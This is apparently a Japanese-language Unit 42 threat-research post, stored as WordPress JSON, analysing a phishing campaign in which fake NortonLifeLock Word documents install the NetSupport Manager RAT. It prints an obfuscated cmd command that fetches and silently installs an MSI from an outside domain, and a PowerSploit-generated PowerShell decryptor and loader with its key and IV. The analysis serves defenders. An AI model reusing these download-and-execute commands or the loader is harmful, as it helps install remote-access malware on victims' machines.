{"id":105045,"date":"2020-02-27T18:50:47","date_gmt":"2020-02-28T02:50:47","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=105045"},"modified":"2020-02-27T18:50:47","modified_gmt":"2020-02-28T02:50:47","slug":"cortex-xdr-detects-netsupport-manager-rat-campaign","status":"publish","type":"post","link":"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/cortex-xdr-detects-netsupport-manager-rat-campaign\/","title":{"rendered":"Cortex XDR™\u304cNetSupport Manager RAT\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u65b0\u305f\u306a\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u691c\u51fa"},"content":{"rendered":"

<\/a>\u6982\u8981<\/h2>\n

2020\u5e741\u6708\u3001Unit 42\u306f\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305fNortonLifelock\u6587\u66f8\u3092\u88c5\u3046\u60aa\u610f\u306e\u3042\u308bMicrosoft Word\u6587\u66f8\u3092\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u6587\u66f8\u306f\u5546\u7528\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u30c4\u30fc\u30eb\uff08RAT\uff09NetSupport Manager<\/a>\u3092\u914d\u4fe1\u3059\u308b\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u4f7f\u308f\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u79c1\u305f\u3061\u306f\u3001\u67b6\u7a7a\u306eNortonLifelock\u6587\u66f8\u3092\u4f7f\u7528\u3057\u3066\u30e6\u30fc\u30b6\u30fc\u306b\u30de\u30af\u30ed\u306e\u6709\u52b9\u5316\u3092\u3046\u306a\u304c\u3059\u3053\u306e\u7279\u7570\u306a\u653b\u6483\u306b\u8208\u5473\u3092\u5f15\u304b\u308c\u307e\u3057\u305f\u3002<\/p>\n

\u901a\u5e38\u3060\u3068\u3053\u306eRAT\u306f\u3001\u7ba1\u7406\u8005\u306b\u3088\u308b\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u3078\u306e\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u3068\u3044\u3046\u6b63\u5f53\u306a\u76ee\u7684\u306b\u5229\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u305f\u3060\u3057\u3053\u306e\u30b1\u30fc\u30b9\u3067\u306f\u3001\u60aa\u610f\u306e\u3042\u308b\u30aa\u30da\u30ec\u30fc\u30bf\u304cRAT\u3092\u88ab\u5bb3\u8005\u306e\u30b7\u30b9\u30c6\u30e0\u306b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3066\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3092\u53ef\u80fd\u306b\u3059\u308b\u305f\u3081\u306b\u5229\u7528\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u307e\u305f\u3001\u9045\u304f\u3068\u30822018\u5e74<\/a>\u306b\u306f\u3001\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3092\u610f\u56f3\u3057\u3066NetSupport Manager RAT\u304c\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u8a50\u6b3a\u306b\u5229\u7528\u3055\u308c\u3066\u3044\u308b\u69d8\u5b50\u304c\u89b3\u5bdf\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n

\u4eca\u56de\u306e\u30ec\u30d3\u30e5\u30fc\u306e\u304d\u3063\u304b\u3051\u3068\u306a\u3063\u305f\u306e\u306f\u3001Cortex XDR™\u30a8\u30f3\u30b8\u30f3\u306b\u3088\u308b\u691c\u51fa\u3067\u3057\u305f\u3002\u79c1\u305f\u3061\u306f\u3001Microsoft Office Outlook\u304c\u3042\u308bMicrosoft Word\u6587\u66f8\u3092\u958b\u3044\u305f\u3053\u3068\u3092\u767a\u7aef\u306b\u3053\u306e\u56e0\u679c\u9023\u9396(causality chain\u3002\u4e00\u9023\u306e\u30a4\u30d9\u30f3\u30c8\u306e\u6d41\u308c)\u304c\u59cb\u307e\u3063\u305f\u3053\u3068\u3092\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u307b\u304b\u3001\u5b9f\u969b\u306e\u30e1\u30fc\u30eb\u3053\u305d\u6b8b\u3063\u3066\u3044\u306a\u304b\u3063\u305f\u3082\u306e\u306e\u3001\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c\u3088\u308a\u5927\u898f\u6a21\u306a\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u4e00\u90e8\u3067\u3042\u3063\u305f\u3053\u3068\u3092\u7d50\u8ad6\u4ed8\u3051\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3057\u305f\u3002<\/p>\n

\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3067\u306f\u3001\u52d5\u7684\u89e3\u6790\u30fb\u9759\u7684\u89e3\u6790\u306e\u4e21\u65b9\u306b\u5bfe\u3059\u308b\u56de\u907f\u6280\u8853\u3068\u3001PowerShell PowerSploit\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3092\u5229\u7528\u3057\u3066\u3001\u5f53\u8a72\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u305f\u3081\u306e\u60aa\u610f\u306e\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u307e\u305f\u79c1\u305f\u3061\u306f\u8ffd\u52a0\u3067\u884c\u3063\u305f\u5206\u6790\u304b\u3089\u540c\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u95a2\u9023\u3059\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c2019\u5e7411\u6708\u3054\u308d\u306b\u307e\u3067\u9061\u308c\u308b\u3053\u3068\u3092\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002<\/p>\n

\u672c\u7a3f\u3067\u306f\u3001Cortex XDR\u306e\u632f\u308b\u821e\u3044\u691c\u51fa\u6a5f\u80fd\u3092\u4f7f\u3063\u3066\u89b3\u6e2c\u3057\u305f\u3053\u308c\u3089\u7279\u7570\u306a\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u3064\u3044\u3066\u8aac\u660e\u3057\u3066\u3044\u304d\u305f\u3044\u3068\u601d\u3044\u307e\u3059\u3002<\/p>\n

<\/a>\u914d\u4fe1<\/h3>\n

2020\u5e741\u6708\u521d\u65ec\u3001Cortex XDR™\u30a8\u30f3\u30b8\u30f3\u306f\u3001\u96e3\u8aad\u5316\u3055\u308c\u305f\u30d0\u30c3\u30c1\u30d5\u30a1\u30a4\u30eb\u3092\u5b9f\u884c\u3059\u308b\u7591\u308f\u3057\u3044\u30d7\u30ed\u30bb\u30b9winword.exe\u3092\u691c\u51fa\u3057\u307e\u3057\u305f\u3002\u6b21\u306e\u56f31\u3067\u3001Microsoft Word\u30d7\u30ed\u30bb\u30b9\u306e\u958b\u59cb\u304b\u3089.bat\u30d5\u30a1\u30a4\u30eb\u306e\u4f5c\u6210\u30fb\u5b9f\u884c\u3078\u3068\u7d9a\u304f\u8907\u6570\u306e\u691c\u51fa\u30dd\u30a4\u30f3\u30c8\u3092\u78ba\u8a8d\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u56f32\u304b\u3089\u306f\u3001\u30bf\u30a4\u30e0\u30e9\u30a4\u30f3\u30d3\u30e5\u30fc\u306e\u30ed\u30fc\u30eb\u30a2\u30c3\u30d7(\u307e\u3068\u3081)\u3092\u898b\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u304c\u3001\u3053\u3053\u3067\u306f\u3001\u65e2\u77e5\u306e\u60aa\u610f\u306e\u3042\u308bIoC\u3001\u30d7\u30ed\u30bb\u30b9\u5b9f\u884c\u3068\u3044\u3046\u632f\u308b\u821e\u3044\u3001\u63a5\u7d9a\u8a66\u884c\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u5bfe\u3057\u3066\u30a2\u30e9\u30fc\u30c8\u3092\u8868\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u56f33\u306f\u3001\u3053\u308c\u3089\u306e\u632f\u308b\u821e\u3044\u306b\u3088\u308bIoc\u3067\u691c\u51fa\u3057\u305f\u521d\u671f\u306e\u30a2\u30e9\u30fc\u30c8\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n

<\/span><\/em><\/p>\n

\u56f31 Cortex XDR\u3067\u56e0\u679c\u9023\u9396(\u4e00\u9023\u306e\u30a4\u30d9\u30f3\u30c8\u767a\u751f\u306e\u56e0\u679c\u95a2\u4fc2\u3092\u793a\u3057\u305f\u3082\u306e)\u3092\u8868\u793a\u3002\u307e\u305aMS Word \u304c\u8d77\u52d5\u3057\u3066\u30de\u30af\u30ed\u304c\u5b9f\u884c\u3055\u308c\u3001\u305d\u306e\u5f8c\u30d0\u30c3\u30c1\u30d5\u30a1\u30a4\u30eb alpaca.bat \u304c\u751f\u6210\u3055\u308c\u3001msiexec \u304c\u5b9f\u884c\u3055\u308c\u3066 MSI \u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u3044\u308b<\/span><\/em><\/p>\n

<\/span><\/em><\/p>\n

\u56f32 Cortex XDR™\u306b\u3088\u308b\u56e0\u679c\u9023\u9396\u306e\u30bf\u30a4\u30e0\u30e9\u30a4\u30f3\u3002\u65e2\u77e5\u306e\u60aa\u610f\u306e\u3042\u308bIoC(\u8d64\u3044\u4e38)\u3001\u30d7\u30ed\u30bb\u30b9\u5b9f\u884c(\u9ec4\u8272\u3044\u4e38)\u3001\u5916\u90e8\u3078\u306e\u63a5\u7d9a(Outgoing Connections\u306e\u9752\u3044\u70b9) \u3092\u307e\u3068\u3081\u3066\u78ba\u8a8d\u3067\u304d\u308b<\/span><\/em><\/p>\n

<\/span><\/em><\/p>\n

\u56f33 Cortex XDR™\u306b\u3088\u308bBIOC(\u632f\u308b\u821e\u3044\u306b\u57fa\u3065\u304fIoC)\u304c\u691c\u51fa\u3057\u305f\u5185\u5bb9<\/span><\/em><\/p>\n

\u4e0b\u306e\u56f34\u306f\u653b\u6483\u306b\u5229\u7528\u3055\u308c\u305f\u60aa\u610f\u306e\u3042\u308b\u6587\u66f8\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3067\u3059\u3002\u3053\u306e\u30b1\u30fc\u30b9\u3067\u306f\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f NortonLifelock\u6587\u66f8\u3092\u507d\u88c5\u3057\u3001\u30de\u30af\u30ed\u3092\u6709\u52b9\u5316\u3055\u305b\u308b\u305f\u3081\u306b\u30e6\u30fc\u30b6\u30fc\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3055\u305b\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u4eca\u56de\u306e\u5206\u6790\u306b\u4f7f\u7528\u3057\u305f\u6587\u66f8\u30b5\u30f3\u30d7\u30eb\u306eSHA256\u5024\u306f\u6b21\u306e\u901a\u308a\u3067\u3059: E9440A5D2DFE2453AE5B69A9C096F8D4CF9E059D469C5DE67380D76E02DD6975<\/p>\n

<\/span><\/em><\/p>\n

\u56f34 NortonLifeLock\u3092\u507d\u88c5\u3057\u305f\u914d\u4fe1\u6587\u66f8<\/span><\/em><\/p>\n

\u30e6\u30fc\u30b6\u30fc\u306e\u76ee\u304b\u3089\u306f\u3001\u5f53\u8a72\u306e\u6587\u66f8\u306b\u306f\u500b\u4eba\u60c5\u5831\u304c\u542b\u307e\u308c\u3066\u3044\u3066\u3001\u305d\u306e\u8868\u793a\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u5fc5\u8981\u3067\u3042\u308b\u304b\u306e\u3088\u3046\u306b\u898b\u3048\u307e\u3059\u3002\u6587\u66f8\u304c\u958b\u304b\u308c\u3001\u30e6\u30fc\u30b6\u30fc\u304c[\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u6709\u52b9\u306b\u3059\u308b]\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u3001\u30de\u30af\u30ed\u304c\u5b9f\u884c\u3055\u308c\u3001\u30e6\u30fc\u30b6\u30fc\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u30c0\u30a4\u30a2\u30ed\u30b0\u30dc\u30c3\u30af\u30b9\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002<\/p>\n

<\/span><\/em><\/p>\n

\u56f35 \u30e6\u30fc\u30b6\u30fc\u306b\u8868\u793a\u3055\u308c\u308b\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u30c0\u30a4\u30a2\u30ed\u30b0\u30dc\u30c3\u30af\u30b9<\/span><\/em><\/p>\n

\u79c1\u305f\u3061\u306f\u3053\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u30e1\u30fc\u30eb\u5185\u3067\u63d0\u4f9b\u3055\u308c\u3066\u3044\u305f\u3067\u3042\u308d\u3046\u3068\u63a8\u6e2c\u3057\u3066\u3044\u307e\u3059\u3002\u3068\u3044\u3046\u306e\u3082\u3001\u6b21\u306e\u30de\u30af\u30ed\u30b3\u30fc\u30c9\u304c\u793a\u3059\u3088\u3046\u306b\u3001\u3053\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306b\u306f\u300cc\u300d\u307e\u305f\u306f\u300cC\u300d\u306e\u6587\u5b57\u3057\u304b\u53d7\u3051\u4ed8\u3051\u306a\u3044\u304b\u3089\u3067\u3059\u3002\u306a\u304a\u3001\u3053\u306e\u30de\u30af\u30ed\u30b3\u30fc\u30c9\u306eSHA256\u30cf\u30c3\u30b7\u30e5\u5024\u306f\u6b21\u306e\u901a\u308a\u3067\u3059: 68ca2458e0db9739258ce9e22aadd2423002b2cc779033d78d6abec1db534ac2<\/p>\n

\"\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8<\/p>\n

\u30e6\u30fc\u30b6\u30fc\u304c\u8aa4\u3063\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3059\u308b\u3068\u8aa4\u3063\u305f\u30ad\u30fc\u304c\u5165\u529b\u3055\u308c\u305f\u3053\u3068\u3092\u793a\u3059\u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u8868\u793a\u3055\u308c\u3001\u305d\u306e\u5f8c\u300c\u51e6\u7406\u5b8c\u4e86\u300d\u3092\u793a\u3059\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002\u6b63\u3057\u3044\u30ad\u30fc\u304c\u5165\u529b\u3055\u308c\u308b\u307e\u3067\u306f\u3001\u60aa\u610f\u306e\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c\u767a\u751f\u3057\u306a\u3044\u70b9\u306b\u3082\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n

\u3055\u3066\u3001\u6b63\u3057\u3044\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u53d7\u3051\u53d6\u308b\u3068\u3001\u30de\u30af\u30ed\u306f\u30b3\u30fc\u30c9\u5b9f\u884c\u3092\u7d99\u7d9a\u3057\u3001\u6b21\u306e\u30b3\u30de\u30f3\u30c9\u6587\u5b57\u5217\u3092\u7d44\u307f\u7acb\u3066\u307e\u3059\u3002<\/p>\n

cmD \/c EChO|SE^t \/p=\" M^siexe\">%temp%\\alpaca.bat&EcHo|s^et \r\n\/p=\"c \" >>%temp%\\alpaca.bat&EcHo|s^et \/p=\"^\/i\" \r\n>>%temp%\\alpaca.bat&EcHo|s^et \/p=\" \r\nhttp^:^\/^\/^quickwaysignstx[.]com\/view.php \r\n\">>%temp%\\alpaca.bat&EcHo|s^et \/p=\" ^\/q \r\n&exit\">>%temp%\\alpaca.bat&%temp%\\alpaca.bat&avvfge 2<\/pre>\n
\u3053\u306e\u30de\u30af\u30ed\u306f\u3001Visual Basic for Applications\uff08VBA\uff09\u30d5\u30a9\u30fc\u30e0\u4e0a\u306e\u30e9\u30d9\u30eb\u3092\u8907\u6570\u4f7f\u3063\u3066\u3001\u3059\u3079\u3066\u306e\u6587\u5b57\u5217\u3092\u96e3\u8aad\u5316\u3057\u3066\u3044\u307e\u3059\u3002\u96e3\u8aad\u5316\u3055\u308c\u305f\u6587\u5b57\u5217\u306b\u306f2\u3064\u306e\u6587\u5b57\u304c\u542b\u307e\u308c\u3066\u3044\u3066\u3001\u3053\u308c\u3089\u306e\u6587\u5b57\u540c\u58eb\u3092\u6700\u5f8c\u306b\u30ea\u30f3\u30af\u3055\u305b\u308b\u3053\u3068\u3067\u3001\u88ab\u5bb3\u7aef\u672b\u306bRAT\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30fb\u5b9f\u884c\u3059\u308b\u305f\u3081\u306e\u6700\u7d42\u30b3\u30de\u30f3\u30c9\u3092\u4f5c\u6210\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n
\u4f5c\u6210\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u6587\u5b57\u5217\u306f\u3001VBA\u30b7\u30a7\u30eb\u95a2\u6570\u7d4c\u7531\u3067\u5b9f\u884c\u3055\u308c\u3001\u4ee5\u4e0b\u3092\u884c\u3044\u307e\u3059\u3002<\/p>\n
    \n
  1. \/c \u30d1\u30e9\u30e1\u30fc\u30bf\u3064\u304d\u3067cmd.exe\u3092\u8d77\u52d5\u3057\u3001\u4f5c\u6210\u3057\u305f\u30b3\u30de\u30f3\u30c9\u6587\u5b57\u5217\u3092\u5b9f\u884c\u3057\u3066\u7d42\u4e86\u3059\u308b<\/li>\n
  2. alpaca.bat<\/em>\u3068\u3044\u3046\u540d\u524d\u306e\u30d0\u30c3\u30c1\u30d5\u30a1\u30a4\u30eb\u3092\u88ab\u5bb3\u7aef\u672b\u306e%temp%\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u4f5c\u6210\u3059\u308b<\/li>\n
  3. \u4f5c\u6210\u3057\u305f\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3059\u308b<\/li>\n<\/ol>\n
    \u3053\u306e\u30d0\u30c3\u30c1\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u306fmsiexec\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u3053\u306emsiexec\u306fWindows Installer\u30b5\u30fc\u30d3\u30b9\u306e\u4e00\u90e8\u3068\u3057\u3066\u542b\u307e\u308c\u308b\u3082\u306e\u3067\u3001quickwaysignstx[.]com\/view.php \u3068\u3044\u3046\u30c9\u30e1\u30a4\u30f3\u304b\u3089\u88ab\u5bb3\u7aef\u672b\u306bMicrosoft Intermediate Language\uff08MSIL\uff09\u30d0\u30a4\u30ca\u30ea\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30fb\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n
    \u3053\u306eURL\u306b\u30d6\u30e9\u30a6\u30b6\u3067\u30b5\u30a4\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3068web\u30da\u30fc\u30b8\u6a19\u6e96\u306e\u753b\u50cf\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u3053\u3068\u304b\u3089\u3001view.php\u3092\u30b5\u30fc\u30d3\u30b9\u3057\u3066\u3044\u308b\u30b5\u30fc\u30d0\u30fc\u306f\u3001User-Agent\u6587\u5b57\u5217\u3067\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3092\u884c\u3063\u3066\u3044\u308b\u3088\u3046\u306b\u898b\u3048\u307e\u3059\u3002\u306a\u304a\u3053\u306e\u30c9\u30e1\u30a4\u30f3\u306f\u3001\u304a\u305d\u3089\u304f\u306f\u653b\u6483\u8005\u306b\u4fb5\u5bb3\u3055\u308c\u305f\u6b63\u898f\u306e\u30c9\u30e1\u30a4\u30f3\u3068\u601d\u308f\u308c\u307e\u3059\u306e\u3067\u3001\u3053\u306e\u70b9\u306b\u306f\u6ce8\u610f\u304c\u5fc5\u8981\u3067\u3059\u3002<\/p>\n
    <\/span><\/em><\/p>\n
    \u56f36 quickwaysignstx[.]com\u306eview.php\u3078\u306eHTTP GET\u30ea\u30af\u30a8\u30b9\u30c8<\/span><\/em><\/p>\n
    \u30ea\u30af\u30a8\u30b9\u30c8\u5185\u306eUser-Agent\u6587\u5b57\u5217\u304cWindows\u30a4\u30f3\u30b9\u30c8\u30fc\u30e9\u306a\u3089MSI\u30d5\u30a1\u30a4\u30eb\u304c\u8fd4\u3055\u308c\u307e\u3059\u3002\u3053\u306eUser-Agent\u6587\u5b57\u5217\u306fmsiexec\u30b3\u30de\u30f3\u30c9\u306e\u4e00\u90e8\u306b\u542b\u307e\u308c\u3066\u3044\u308b\u306e\u3067\u3001\u3053\u306e\u3053\u3068\u304b\u3089\u3082\u300cmsiexec\u304c\u4f7f\u7528\u3055\u308c\u305f\u5834\u5408\u306b\u306e\u307f\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u308b\u300d\u3068\u3044\u3046\u63a8\u6e2c\u304c\u3055\u3089\u306b\u88cf\u4ed8\u3051\u3089\u308c\u307e\u3059\u3002MSI\u30da\u30a4\u30ed\u30fc\u30c9\uff08SHA256: 41D27D53C5D41003BC9913476A3AFD3961B561B120EE8BFDE327A5F0D22A040A\uff09\u306f\u3001www.exemsi[.]com\u306b\u300cMPZMZQYVXO\u30d1\u30c3\u30c1\u30d0\u30fc\u30b8\u30e7\u30f35.1\u300d\u3068\u3044\u3046\u540d\u524d\u3067\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u672a\u767b\u9332\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4f7f\u3063\u3066\u30d3\u30eb\u30c9\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n
    \u95a2\u9023\u3059\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u5206\u6790\u3057\u3066\u3044\u305f\u304a\u308a\u3001\u4ed6\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u793a\u3059\u6587\u5b57\u5217\u3082\u8907\u6570\u898b\u3064\u304b\u3063\u3066\u3044\u307e\u3059\u306e\u3067\u3001\u3053\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u6587\u5b57\u5217\u306f\u30e9\u30f3\u30c0\u30e0\u3067\u3042\u308b\u3088\u3046\u3067\u3059\u3002\u3053\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u6587\u5b57\u5217\u306fMSI\u306e\u5b9f\u884c\u6642\u306b\u8868\u793a\u3055\u308c\u307e\u3059\u3002\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u304c\u3059\u3080\u3068\u3001MSI\u3092\/q\u30d1\u30e9\u30e1\u30fc\u30bf\u3064\u304d\u3067\u5b9f\u884c\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306fWindows\u30c0\u30a4\u30a2\u30ed\u30b0\u304c\u898b\u3048\u306a\u3044\u3088\u3046\u306b\u3057\u307e\u3059\u3002\u540c\u69d8\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306f2019\u5e7411\u6708<\/a>\u306b\u3082\u5831\u544a\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n
    MSI\u306f\u88ab\u5bb3\u7aef\u672b\u306e%temp%\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u3001REgistryMPZMZQYVXO.ps1\u3068\u3044\u3046\u540d\u524d\u306ePowerSell\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u307e\u3059\u3002<\/p>\n
    function HYTNKJSDEH([String] $YTVRJKIEIR, [String] $BORBFDSYOP)\r\n{\r\n$DHPFYCOKLM = \u201c<base64 encoded + encrypted payload<\/strong>>\u201d;\r\n$encoding = New-Object System.Text.ASCIIEncoding;\r\n$KULVWNXDPId = $encoding.GetBytes(\"DJZGVUGVHDMNIGZD\");\r\n$derivedPass = New-Object \r\nSystem.Security.Cryptography.PasswordDeriveBytes($YTVRJKIEIR, \r\n$encoding.GetBytes($BORBFDSYOP), \"SHA1\", 2);\r\n[Byte[]] $ESFLDIMUEO = $derivedPass.GetBytes(16);\r\n$LCZJFEXHXR = New-Object \r\nSystem.Security.Cryptography.TripleDESCryptoServiceProvider;\r\n\r\n$LCZJFEXHXR.Mode = \r\n[System.Security.Cryptography.CipherMode]::CBC;\r\n$JOVGMJCIKY = $LCZJFEXHXR.CreateDecryptor($ESFLDIMUEO, $KULVWNXDPId);\r\n$LBUWDFHHMZ = New-Object System.IO.MemoryStream($DHPFYCOKLMa, \r\n$True);\r\n$ZSKXKODPKK = New-Object \r\nSystem.Security.Cryptography.CryptoStream($LBUWDFHHMZ, \r\n$JOVGMJCIKY, \r\n[System.Security.Cryptography.CryptoStreamMode]::Read);\r\n$STDVLFIUQN = $ZSKXKODPKK.Read($JHTZWEZBUW, 0, \r\n$JHTZWEZBUW.Length);\r\n$LBUWDFHHMZ.Close();\r\n$ZSKXKODPKK.Close();\r\n$LCZJFEXHXR.Clear();\r\nif (($JHTZWEZBUW.Length -gt 3) -and ($JHTZWEZBUW[0] -eq 0xEF) \r\n-and ($JHTZWEZBUW[1] -eq 0xBB) -and ($JHTZWEZBUW[2] -eq 0xBF)) { \r\n$h = $JHTZWEZBUW[3..($JHTZWEZBUW.Length-1)]; }\r\nreturn $encoding.GetString($JHTZWEZBUW).TrimEnd([Char] 0);\r\n}\r\n $TYCNJNUWWG = HYTNKJSDEH \"ew9p5rzlmvcf32b6i0oun8q47tag1xhs\" \r\n\"7ohp9z481qem6ykbdu2argt5lj3fcsi0\";\r\nInvoke-Expression $TYCNJNUWWG;<\/pre>\n
    REgistryMPZMZQYVXO.ps1\u306b\u4fdd\u5b58\u3055\u308c\u3066\u3044\u308b\u6697\u53f7\u5316\u3055\u308c\u305fblob\u30c7\u30fc\u30bf\u306f\u3001NetSupport Manager RAT\u3092\u88ab\u5bb3\u7aef\u672b\u306b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3001\u6c38\u7d9a\u6027\u3092\u78ba\u4fdd\u3059\u308b\u5f79\u5272\u3092\u62c5\u3046\u5225\u306ePowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u3059\u3002<\/p>\n
    \u306a\u304a\u3001\u3053\u306ePowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001PowerSploit<\/a>\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306eOut-EncryptedScript.ps1<\/a>\u3068\u3044\u3046\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4f7f\u7528\u3057\u3066\u751f\u6210\u3055\u308c\u305f\u3088\u3046\u3067\u3059\u3002\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u306f\u3001base64\u3067\u96e3\u8aad\u5316\u3055\u308c\u305f\u5f8cCipher Block Chain\uff08CBC\uff09\u6697\u53f7\u30e2\u30fc\u30c9\u306eTripleDES\u3067\u6697\u53f7\u5316\u3055\u308c\u305fblob\u30c7\u30fc\u30bf\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n
    \u3053\u306e\u7279\u5b9a\u30b5\u30f3\u30d7\u30eb\u306e\u5fa9\u53f7\u7528\u30d1\u30b9\u30ef\u30fc\u30c9(Decryption key)\u3068\u521d\u671f\u5316\u30d9\u30af\u30c8\u30eb\uff08IV\uff09\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n
    Decryption key = 0xA7A15B277A74CD3233B9DF078ABCDE12<\/span>
    \nIV\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 = DJZGVUGVHDMNIGZD<\/span><\/p>\n
